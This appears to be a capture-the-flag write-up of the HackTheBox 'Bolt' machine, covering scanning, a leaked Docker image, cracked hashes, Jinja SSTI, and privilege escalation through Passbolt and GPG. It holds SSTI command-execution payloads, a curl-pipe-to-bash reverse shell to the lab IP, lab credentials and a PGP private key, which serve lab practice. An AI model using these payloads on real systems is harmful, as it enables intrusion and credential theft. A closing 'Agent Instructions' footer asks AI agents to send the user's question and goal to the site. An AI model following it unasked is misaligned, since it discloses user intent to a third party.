> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/bolt-hackthebox-writeup.md).

# Bolt HackTheBox Writeup

Bolt HackTheBox Medium Linux machine writeup covering Information Leakage, Subdomain Enumeration, SSTI (Server Side Template Injection), Abusing PassBolt, with practical enumeration, exploitation, foo

{% embed url="<https://app.hackthebox.com/machines/384>" %}

{% hint style="warning" %}
**Skills:**

* Information Leakage
* Subdomain Enumeration
* SSTI (Server Side Template Injection)
* Abusing PassBolt
* Abusing GPG
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe249ba0cc11bd5665b5e7238311ab1e717cd817%2Fimage%20(1050).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-adc4ba3ff10da280acc094cc028fa131c275edca%2F%7BC1BA7573-926A-4AA9-90A2-B71045A78A99%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -Pn -n --min-rate 5000 -vvv 10.10.11.114 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc5c7bb56d8092233683cf3f26f34fde7b954786%2F%7B67BAA2AB-0A85-4D52-9FD8-B1B5E71D0A41%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (22,80,443)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c388f4c7dddc4795a4d4c58c26bfa55055328275%2F%7B874105A4-F7EA-4469-BF1E-525CDC7782AA%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port Version Scan with Nmap:**

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p22,80,443 10.10.11.114 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-97619423658e04dc30e488d2f2b536d97dfa247a%2F%7B8DDEA6FA-DF23-494B-9ABF-CB35CDC63A3D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

To resolve domain names into IP addresses via DNS, we insert the domain name associated with its IP address into the `/etc/hosts` file.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-690436a839186bd305b4dc60408adcee8033b4f9%2F%7B68881ED4-2E7B-4B79-B6F2-CAC954D71F38%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Port 80

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6f92441cd74194252076962dc12af51fd81873a0%2F%7B50AE69EF-FD85-4FD5-9D0B-10E4A2142367%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We attempt to create an account, but receive an "Internal Server Error".

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6a4a4ceeb03af6fd186c558fe00a1500700823d%2F%7B3799CB8F-DE0C-426E-865A-D51219116F3A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e22dc57e5442e9e9001db61f5a69bea268d08bf%2F%7BE2B09E0B-96B5-46B9-98E8-1AC3DC6D63B5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**List of possible users:**

* Joseph Garth
* Bonnie Green
* Jose Leos

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-efc9565a8a4d8b829eff65803b1a8777b58ab32c%2F%7B6B314CCA-9DBA-4C1B-A7E3-4CDA066E09D1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We are offered to download a `.tar` Docker image, including a basic web package to start a project with an elegant design.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eda8ce09255dbdb09c9574a3dd185395163a22db%2Fimage%20(1051).png?alt=media" alt=""><figcaption></figcaption></figure>

**Directory search:**

We perform a directory search with `gobuster`:

```bash
gobuster dir -u http://bolt.htb  -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Nothing interesting was found.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e35e4261f8155ea9dec1ff65246cd07ddc5f628%2F%7B4EAD33E8-B3E6-463C-983B-A7E89574053F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Subdomain search:**

We search for subdomains with `gobuster`:

```bash
gobuster vhost -u http://bolt.htb  --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

Subdomains found:

* `demo.bolt.htb`
* `mail.bolt.htb`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e54709ca177ee422855cf85431cc6c31bab613a2%2F%7B3AE9A9D2-35A7-40E8-B415-A9B8402CA89E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We add them to the `/etc/hosts` file.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a8230a35c95f854ccd1c1d77fdc34b93f5dd625%2F%7B66F3CE95-B6EE-48F6-B4AE-257B125321FD%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**`http://mail.blolt.htb`**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec637f98eee51274eab5afa50fcff4c4dc0c0bc3%2F%7BF7563CE3-396A-4658-8B61-903615C4F50D%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**`http://demo.bolt.htb:`**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e3d49e577307dd356dc6c64d77f7f0964ee3513%2F%7B6224C840-7C32-4A60-A8F6-9877A6DFE8A0%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Information Leakage (image.tar)

We are looking for sensitive information in the Docker file `.tar` which contains folders with file `json`, file `layer.tar` and version.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4331a75f7e7ea79fa3e6f53145796218ccb55c9d%2F%7B960D138D-0A1E-4FDC-A952-392D816CC386%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**File extraction:**

We extract the files from `layer.tar` as follows:

```bash
mkdir extracted_layers
```

```bash
find . -name "layer.tar" -exec tar -xvf {} -C extracted_layers /;
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7373bb528376766453bc1b265bbc3fff5299815%2F%7BAA747C6A-4D75-4795-B0EC-A5F5247ED17B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We open the `db.sqlite3` database:

```sql
sqlite3 db.sqlite3 

.tables
Select * from user
```

We find a user `admin` with a hashed password:

* `id`: Unique user identifier.
* `username`: Username (`admin` in this case).
* `email`: Associated email address (`admin@bolt.htb`).
* `password`: Hashed password (`$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.`).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d73a022ce616865964bfbe3f9c46323dbe285544%2F%7B929F3FE9-ADBB-470E-9816-CA2C70AD8C6E%7D.png?alt=media" alt="" width="468"><figcaption></figcaption></figure>

We decrypt the password with `john`:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`admin:deadbolt`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-67bfe9043ca73f3de587dd3f9c74ba0c69155b79%2F%7B9FABE644-09A6-4379-949C-22C7F59CAAAE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

We log into the admin panel but don't find anything interesting except that it uses Flask.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-892e202fff2c026a015f293076938aad343788d7%2Fimage%20(1052).png?alt=media" alt=""><figcaption></figcaption></figure>

**Search for invitation code:**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-33c61cc8ce7dacd1e959295021caf81cf9289f77%2F%7BD735E385-B367-4CD9-9657-93078B3FDEDE%7D.png?alt=media" alt="" width="529"><figcaption></figcaption></figure>

We are looking for the invitation code in the extracted files:

```bash
grep -ri "invite_code" .
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a4c3d47250bcb850bcbf74c6b6f83d2faea667e6%2Fimage%20(1054).png?alt=media" alt=""><figcaption></figcaption></figure>

A Python file contains the invitation code:

`XNSS-HSJW-3NGU-8XTJ`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de694666c1e52851dbebdb9770946a4961e5d2c2%2Fimage%20(1055).png?alt=media" alt=""><figcaption></figcaption></figure>

We create a new user account `jordan` with password `Jordan1234`, then we have access to the inbox and the admin panel demo.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e83ee01a2b924c9118b5424bf2d1e1c3a0b15a9d%2F%7BFE85444A-FC13-4D30-A12E-298927179A9C%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* `user: jordan`
* `password: Jordan1234`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6442c9d77ac0f4bb62e96f48eef5fc18bbdbf481%2F%7B9CE4F043-5290-4B84-A790-078DE32531FC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f69a78e260957651de9ddf92a6ccba476ab923ad%2F%7B84799957-5B78-48DB-980D-89B8EBE1E8DA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerability SSTI :

Looking at the configuration, we notice that if we change our configuration name, a confirmation email is sent. This may be an opportunity for an SSTI attack.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6e03ce0a33faa89d0006a8c8d646aa01d7e41fc%2F%7B2BB8282B-D96C-477A-94AA-F84F42D9E87A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eda93eb7ba655d7c8c6abc2bf1e225b49e70de4f%2Fimage%20(1056).png?alt=media" alt=""><figcaption></figcaption></figure>

We test with a typical payload:

```bash
{{ 9*9 }}
```

If the result is `81`, the application is vulnerable.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8704ccedeff27f3fdf4708cff34029665845b3b2%2F%7B4D64E440-FB15-432F-9398-64C20AE06B77%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We confirm that the application is vulnerable and test command injection with a payload from `payloadallthethings`:

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings>" %}

Order ID:

```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a6ca30b657e199baf891e24b5a4173b8b7d1887%2F%7B51A5257C-4305-4C9B-A545-1E23210599D1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We successfully execute a reverse shell by listening on port 443:

```bash
nc -nlvp 443
```

We create a `index.html` file with the following content to execute a reverse shell

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.3/443 0>&1
```

Then we start an HTTP server with Python:

```bash
python3 -m http.server 80
```

We send the payload with `curl` to retrieve and execute the command:

```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.10.14.3 | bash').read() }}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-348fcc2d92e9dc0fe73d1e954a5d357577c441a0%2F%7BF035C0DC-C166-405E-852C-744974C4FCE7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Terminal Stabilization :**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Stabilize the shell for more comfortable work. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Privilege Escalation :

As user `www-data`, we are attempting to elevate our privileges to gain root access.

### Initial enumeration with LinPEAS

You used LinPEAS to identify potential vulnerabilities in the system.

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases>" %}

Commands executed:

```bash
python3 -m http.server 555
```

```bash
wget http://10.10.14.3:555/linpeas.sh
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-874b84b528c30a13d3fe1b6646b1f7546b2ecbb9%2F%7B09D2CED3-7126-42F8-83CD-00331446F53B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

LinPEAS revealed a configuration file containing sensitive information:

`/etc/passbolt/passbolt.php`

* `host :localhost`
* `port : 3306`
* `username : passbolt`
* `password : rT2;jW7<eY8!dX8}pQ8%`
* `database : passboltdb`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3e6efe3d48794c98f4980b805eb081efc94657b1%2F%7B9A160287-A046-4CAC-BC10-46539ED7A545%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Connection to the MySQL database**

Using the information to connect to the database:

```bash
mysql -h localhost -P 3306 -u passbolt -p 

rT2;jW7<eY8!dX8}pQ8%
```

#### **Analysis of tables in the database**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dedad8129f18f4baeeee68e73bb041a2eb257846%2F%7B3857F5A8-3EE6-4379-ABBF-71D844134919%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* **`users`**: Contains users.

<table data-header-hidden data-full-width="true"><thead><tr><th width="125"></th><th width="112"></th><th width="124"></th><th width="101"></th><th width="109"></th><th width="110"></th><th></th></tr></thead><tbody><tr><td><code>id</code></td><td><code>role_id</code></td><td><code>username</code></td><td><code>active</code></td><td><code>deleted</code></td><td><code>created</code></td><td><code>modified</code></td></tr><tr><td><code>4e184ee6-e436-47fb-91c9-dccb57f250bc</code></td><td><code>1cfcd300-0664-407e-85e6-c11664a7d86c</code></td><td><code>eddie@bolt.htb</code></td><td>1</td><td>0</td><td>2021-02-25 21:42:50</td><td>2021-02-25 21:55:06</td></tr><tr><td><code>9d8a0452-53dc-4640-b3a7-9a3d86b0ff90</code></td><td><code>975b9a56-b1b1-453c-9362-c238a85dad76</code></td><td><code>clark@bolt.htb</code></td><td>1</td><td>0</td><td>2021-02-25 21:40:29</td><td>2021-02-25 21:42:32</td></tr></tbody></table>

* **`secrets`**: Encrypted messages (potentially exploitable later).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ef081da69eeac0a0c4faeffd0704a1a48420a70%2F%7B34BBF05A-358F-41A2-B12C-162ED65D1EC6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* **`gpgkeys`**: Contains public keys (can be used in certain scenarios).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c356cefb56838975f64e29e5c7868668eb450727%2Fimage%20(2476).png?alt=media" alt=""><figcaption></figcaption></figure>

Attempting to connect with `eddie`:

```bash
su eddie
```

* **Password**: `rT2;jW7<eY8!dX8}pQ8%`
* Access to user `eddie` obtained

### Flag user.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be3961aabe8bcb7a0f79ba02c82374e35f3fb255%2F%7BDCA41730-F360-4E3F-BA61-5763E9B3DD00%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Reusing LinPEAS (user eddie)

After gaining access to user `eddie`, we reuse **LinPEAS** to explore the system for potential SSH keys or other useful clues.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f75cc49c7f3779135b9cad3eceb4e76e9c1f06c%2F%7B5DA3297E-E8D9-46D7-BC17-42937D5CA190%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**File found**: A log file containing potential SSH keys:

`/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a8cf1911f48bdf185540a998741bb526a6203850%2Fimage%20(2477).png?alt=media" alt=""><figcaption></figcaption></figure>

### Message decryption with GPG

**GPG Private Key**: We use the **GPG** tool to import the private key and attempt to decrypt the encrypted message in the `secrets` table in the `passboltdb` database.

```
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

xcMGBGA4G2EBCADbpIGoMv+O5sxsbYX3ZhkuikEiIbDL8JRvLX/r1KlhWlTi
fjfUozTU9a0OLuiHUNeEjYIVdcaAR89lVBnYuoneAghZ7eaZuiLz+5gaYczk
cpRETcVDVVMZrLlW4zhA9OXfQY/d4/OXaAjsU9w+8ne0A5I0aygN2OPnEKhU
RNa6PCvADh22J5vD+/RjPrmpnHcUuj+/qtJrS6PyEhY6jgxmeijYZqGkGeWU
+XkmuFNmq6km9pCw+MJGdq0b9yEKOig6/UhGWZCQ7RKU1jzCbFOvcD98YT9a
If70XnI0xNMS4iRVzd2D4zliQx9d6BqEqZDfZhYpWo3NbDqsyGGtbyJlABEB
AAH+CQMINK+e85VtWtjguB8IR+AfuDbIzHyKKvMfGStRhZX5cdsUfv5znicW
UjeGmI+w7iQ+WYFlmjFN/Qd527qOFOZkm6TgDMUVubQFWpeDvhM4F3Y+Fhua
jS8nQauoC87vYCRGXLoCrzvM03IpepDgeKqVV5r71gthcc2C/Rsyqd0BYXXA
iOe++biDBB6v/pMzg0NHUmhmiPnSNfHSbABqaY3WzBMtisuUxOzuvwEIRdac
2eEUhzU4cS8s1QyLnKO8ubvD2D4yVk+ZAxd2rJhhleZDiASDrIDT9/G5FDVj
QY3ep7tx0RTE8k5BE03NrEZi6TTZVa7MrpIDjb7TLzAKxavt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tvN0lvInYT93YRqa2e9o7gInT
4JoYntujlyG2oZPLZ7tafbSEK4WRHx3YQswkZeEyLAnSP6R2Lo2jptleIV8h
J6V/kusDdyek7yhT1dXVkZZQSeCUUcQXO4ocMQDcj6kDLW58tV/WQKJ3duRt
1VrD5poP49+OynR55rXtzi7skOM+0o2tcqy3JppM3egvYvXlpzXggC5b1NvS
UCUqIkrGQRr7VTk/jwkbFt1zuWp5s8zEGV7aXbNI4cSKDsowGuTFb7cBCDGU
Nsw+14+EGQp5TrvCwHYEGAEIAAkFAmA4G2ECGwwAIQkQHCdBo9w7Sr0WIQTf
QmvHpKivWOUO2g4cJ0Gj3DtKvf4dB/9CGuPrOfIaQtuP25S/RLVDl8XHvzPm
oRdF7iu8ULcA9gTxPn8DNbtdZEnFHHOANAHnIFGgYS4vj3Dj9Q3CEZSSVvwg
6599FMcw9nGzypVOgqgQv8JGmIUeCipD10k8nHW7m9YBfQB04y9wJw99WNw/
Ic3vdhZ6NvsmLzYI21dnWD287sPj2tKAuhI0AqCEkiRwb4Z4CSGgJ5TgGML8
11Izrkqamzpc6mKBGi213tYH6xel3nDJv5TKm3AGwXsAhJjJw+9K0MNARKCm
YZFGLdtA/qMajW4/+T3DJ79YwPQOtCrFyHiWoIOTWfs4UhiUJIE4dTSsT/W0
PSwYYWlAywj5
=cqxZ
-----END PGP PRIVATE KEY BLOCK-----
```

#### Extracting the private key hash

To be able to use the private key, we must first obtain its **hash**. We use the **gpg2john** tool to extract the private key hash:

```bash
gpg2john private.key > hash
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-846e8b1830c63f80f1fcdc915668e4cf47064213%2F%7BCE528E3F-E6E1-4DE6-94D9-8329FED9A827%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Brute force private key password with `john`**

We use **John the Ripper** to perform a dictionary attack and discover the private key password. We use the wordlist **rockyou.txt** for this:

```bash
john -wordlist=/usr/share/wordlists/rockyou.txt hash
```

**Password found**: `merrychristmas`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d7d50582221e06fc359d79a595c9c1b841a26195%2Fimage%20(2478).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Importing the private key and decrypting the message

We import the private key with **gpg**

```bash
gpg --import private.key
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-405953b79fd0c9cde65f5165539c76f4312ab5b3%2F%7B5EA14975-3046-488B-A1E8-E7F78D4264F6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Then, we decrypt the encrypted message (probably contained in the `message.txt` file retrieved from the `secrets` database):

```bash
gpg --decrypt message.txt
```

**Root password found**: `Z(2rmxsNW(Z?3=p/9s`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b8bf5665a7bb1ab3b62542d47758c637558a98d%2Fimage%20(2479).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b056c4c6032c26d6014f5fc6f8d1c0218a07debd%2Fimage%20(2480).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c60759cfdbb546ae3182e076e7d787932b77a861%2F%7B375D3F1A-893C-4770-A12A-6868615E7521%7D.png?alt=media" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/bolt-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
